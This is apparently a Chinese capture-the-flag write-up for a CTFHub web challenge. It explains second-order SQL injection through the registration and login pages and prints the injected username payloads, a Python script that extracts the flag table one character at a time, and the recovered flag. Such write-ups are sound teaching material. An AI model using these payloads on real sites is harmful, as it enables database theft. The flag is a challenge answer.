1、题目描述
题目界面
WEB界面
2、解题思路
2.1 题目关键字
二次注入、使用登陆后的账号名显示作为回显
2.2 解题过程
发现Url中的login.php,随便输入一下登录,发现页面只会输出用户名和密码错误,应当是个sql注入题目,盲猜一下注册页面,可能存在register.php, 果然存在register.php,而且可以注册,应当是二次注入,尝试一下。
a.注册登陆
注册邮箱\账号\密码:123@qq.com\aaaaa\123123
登陆后发现这个可以显示我们登陆的用户名
b.注册带有SQL语句的账号
邮箱 | 账号 | 密码 | 登陆后的显示 | 功能 |
---|---|---|---|---|
1@qq.com | 0’+database()+’0 | 123 | 0 | |
2@qq.com | 0’+hex(database())+’0 | 123 | 776562 (转为字符是web) | 查询出当前使用的数据库 |
3@qq.com | 0'+hex(version())+'0 | 123 | 1.797693134 8623157e308 | 查询版本,但长度太长 无法全部显示,自动计数 |
4@qq.com | 0'+ ascii(substr((select * from flag) from 1 for 1)) +'0; | 123 | 获取flag表中的数据的指定部分的字符 |
c.脚本自动化注入
import requests
import re
from time import sleep
from bs4 import BeautifulSoup
def flag():
flag = ''
url = 'http://challenge-4b5f47843c016f2f.sandbox.ctfhub.com:10800/'
url1 = url + 'register.php'
url2 = url + 'login.php'
for i in range(1, 100):
sleep(0.5)
data_register = {"email": f"a{i}@163.com",
"username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
data_login = {"email": f"a{i}@163.com", "password": "1"}
response_regiseter = requests.post(url1, data=data_register)
response_login = requests.post(url2, data=data_login)
bs = BeautifulSoup(response_login.text, 'html.parser') # bs4解析页面
username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性
number = username.text # 取该属性的数字
flag += chr(int(number))
print(flag)
if __name__ == '__main__':
flag()
ctfhub{4394ff386f478f047c3d55f5}
Success!
3、总结
首先进行一个扫描,发现注册与登陆页面,通过观察发现可能存在二次注入,尝试注册一个带有SQL语句的账号,然后登陆这个账号查看显示用户名的地方是否进行了执行,返回的是否是数据库中的数据。通过脚本批量注册,然后进行登陆,最后获得Flag。